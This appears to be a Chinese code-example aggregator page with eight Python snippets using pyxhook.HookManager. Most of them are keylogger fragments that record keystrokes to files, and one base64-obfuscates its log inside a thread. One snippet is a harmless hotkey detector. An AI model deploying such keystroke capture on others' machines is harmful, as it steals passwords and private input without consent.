本文整理汇总了Python中pyxhook.HookManager方法的典型用法代码示例。如果您正苦于以下问题:Python pyxhook.HookManager方法的具体用法?Python pyxhook.HookManager怎么用?Python pyxhook.HookManager使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类pyxhook
的用法示例。
在下文中一共展示了pyxhook.HookManager方法的8个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: OnKeyPress
# 需要导入模块: import pyxhook [as 别名]
# 或者: from pyxhook import HookManager [as 别名]
def OnKeyPress(event):
fob=open(log_file,'a')
fob.write(event.Key)
fob.write('\n')
if event.Ascii==96: #96 is the ascii value of the grave key (`)
fob.close()
new_hook.cancel()
#instantiate HookManager class
示例2: keylogger
# 需要导入模块: import pyxhook [as 别名]
# 或者: from pyxhook import HookManager [as 别名]
def keylogger(size):
if os.name == "nt":
import win32api
import pythoncom
from pyHook import HookManager
else:
p = subprocess.Popen(["echo $DISPLAY"], shell=True, stdout=subprocess.PIPE)
output, err = p.communicate()
if len(str(output).strip()) == 0:
return "Display not found"
else:
import pyxhook
from pyxhook import HookManager
global keysPressed
hm = HookManager()
hm.KeyDown = onkeyboardevent
hm.HookKeyboard()
if os.name != "nt":
hm.start()
while len(keysPressed) < int(size):
if os.name == "nt":
pythoncom.PumpWaitingMessages()
else:
keys = keysPressed
keysPressed = ">"
if os.name == "nt":
hm.UnhookKeyboard()
else:
hm.cancel()
return keys
示例3: _run_windows
# 需要导入模块: import pyxhook [as 别名]
# 或者: from pyxhook import HookManager [as 别名]
def _run_windows():
global abort
while True:
hm = hook_manager.HookManager()
hm.KeyDown = _event
hm.HookKeyboard()
pythoncom.PumpMessages()
if abort:
break
示例4: _run
# 需要导入模块: import pyxhook [as 别名]
# 或者: from pyxhook import HookManager [as 别名]
def _run():
global abort
while True:
hm = hook_manager.HookManager()
hm.KeyDown = _event
hm.HookKeyboard()
time.sleep(0.1)
if abort:
break
示例5: __init__
# 需要导入模块: import pyxhook [as 别名]
# 或者: from pyxhook import HookManager [as 别名]
def __init__(self):
logger.debug("Keyboard deteccter created.")
self.hm = HookManager()
self.hm.KeyDown = self.key_down
self.hm_thread = None
self.input_record_list = []
self.hot_key_list = [24, 38, 52, 10, 11, 12] # QAZ123
self.hot_key_list2 = [24, 38, 52, 87, 88, 89] # QAZ123 with 123 in side keyboard
self.sp = SoundPlayer()
示例6: main
# 需要导入模块: import pyxhook [as 别名]
# 或者: from pyxhook import HookManager [as 别名]
def main():
if (len(sys.argv) < 2):
print "Correct usage is: python keylogger.py [logfile directory]"
sys.exit(1)
path = sys.argv[1]
try:
os.makedirs(path)
except OSError:
if not os.path.isdir(path):
raise
hook = pyxhook.HookManager()
hook.KeyDown = logkey
hook.HookKeyboard()
hook.start()
示例7: run
# 需要导入模块: import pyxhook [as 别名]
# 或者: from pyxhook import HookManager [as 别名]
def run():
path = 'logfolder'
try:
os.makedirs(path)
except OSError:
if not os.path.isdir(path):
raise
hook = pyxhook.HookManager()
hook.KeyDown = logkey
hook.HookKeyboard()
hook.start()
# cleans up some of the log files
示例8: keylogger
# 需要导入模块: import pyxhook [as 别名]
# 或者: from pyxhook import HookManager [as 别名]
def keylogger(fd_temp_key: int):
"""Key logger thread.\n"""
def OnKeyboardEvent(event):
""""Define action triggered when a key is pressed.\n"""
if not thr_block.isSet():
if event.Ascii != 0 or 8:
# Use base64 and not an encryption just for performance
with open(keylogfile, 'r+b') as f_key:
data_decoded = b64decode(f_key.read()).decode('utf-8')
f_key.seek(0)
if event.Key == 'space':
data_decoded += ' '
f_key.write(b64encode(data_decoded.encode('utf-8')))
elif event.Key == 'BackSpace':
data_decoded += '[BackSpace]'
f_key.write(b64encode(data_decoded.encode('utf-8')))
elif event.Key == 'Return':
data_decoded += '[Enter]'
f_key.write(b64encode(data_decoded.encode('utf-8')))
elif event.Key == 'Shift_L':
data_decoded += '[Shift_L]'
f_key.write(b64encode(data_decoded.encode('utf-8')))
elif event.Key == 'Shift_R':
data_decoded += '[Shift_R]'
f_key.write(b64encode(data_decoded.encode('utf-8')))
elif event.Key == 'Tab':
data_decoded += '[Tab]'
f_key.write(b64encode(data_decoded.encode('utf-8')))
else:
data_decoded += event.Key
f_key.write(b64encode(data_decoded.encode('utf-8')))
if thr_exit.isSet():
os.close(fd_temp_key)
hm.cancel()
return True
# create a hook manager
if platform == 'windows':
hm = pyHook.HookManager()
else:
hm = pyxhook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
if platform == 'windows':
pythoncom.PumpMessages()
else:
hm.start()
# =================================================================================================